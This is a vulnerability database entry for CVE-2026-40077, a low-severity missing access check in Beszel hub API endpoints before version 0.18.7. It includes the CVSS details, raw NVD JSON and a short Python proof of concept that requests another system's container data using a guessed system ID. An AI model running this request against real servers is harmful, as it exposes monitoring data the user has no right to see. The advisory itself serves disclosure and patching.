Security Vulnerability Report
中文
CVE-2026-40077 CVSS 3.5 LOW

CVE-2026-40077

Published: 2026-04-09 20:16:27
Last Modified: 2026-04-17 17:37:34

Description

Beszel is a server monitoring platform. Prior to 0.18.7, some API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticated user can access these routes for any system if they know the system's ID. System IDs are random 15 character alphanumeric strings, and are not exposed to all users. However, it is theoretically possible for an authenticated user to enumerate a valid system ID via web API. To use the containers endpoints, the user would also need to enumerate a container ID, which is 12 digit hexadecimal string. This vulnerability is fixed in 0.18.7.

CVSS Details

CVSS Score
3.5
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:beszel:beszel:*:*:*:*:*:*:*:* - VULNERABLE
Beszel < 0.18.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-40077 POC # Target: Beszel Hub < 0.18.7 # Description: Access arbitrary system data by guessing system ID. TARGET_URL = "http://target-domain.com" AUTH_TOKEN = "YOUR_AUTH_TOKEN_HERE" # Obtained after login SYSTEM_ID = "GuessedSystemID" # 15 char alphanumeric CONTAINER_ID = "GuessedContainerID" # 12 digit hex headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Example endpoint exploiting the vulnerability exploit_url = f"{TARGET_URL}/api/systems/{SYSTEM_ID}/containers/{CONTAINER_ID}" try: response = requests.get(exploit_url, headers=headers) if response.status_code == 200: print(f"[+] Success! Data leaked: {response.text}") else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40077", "sourceIdentifier": "[email protected]", "published": "2026-04-09T20:16:27.230", "lastModified": "2026-04-17T17:37:33.750", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Beszel is a server monitoring platform. Prior to 0.18.7, some API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticated user can access these routes for any system if they know the system's ID. System IDs are random 15 character alphanumeric strings, and are not exposed to all users. However, it is theoretically possible for an authenticated user to enumerate a valid system ID via web API. To use the containers endpoints, the user would also need to enumerate a container ID, which is 12 digit hexadecimal string. This vulnerability is fixed in 0.18.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-184"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:beszel:beszel:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.18.7", "matchCriteriaId": "FEE9E0EA-91E0-4B0C-83AC-4FAF20D19328"}]}]}], "references": [{"url": "https://github.com/henrygd/beszel/releases/tag/v0.18.7", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/henrygd/beszel/security/advisories/GHSA-5f5r-95pg-xrpm", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}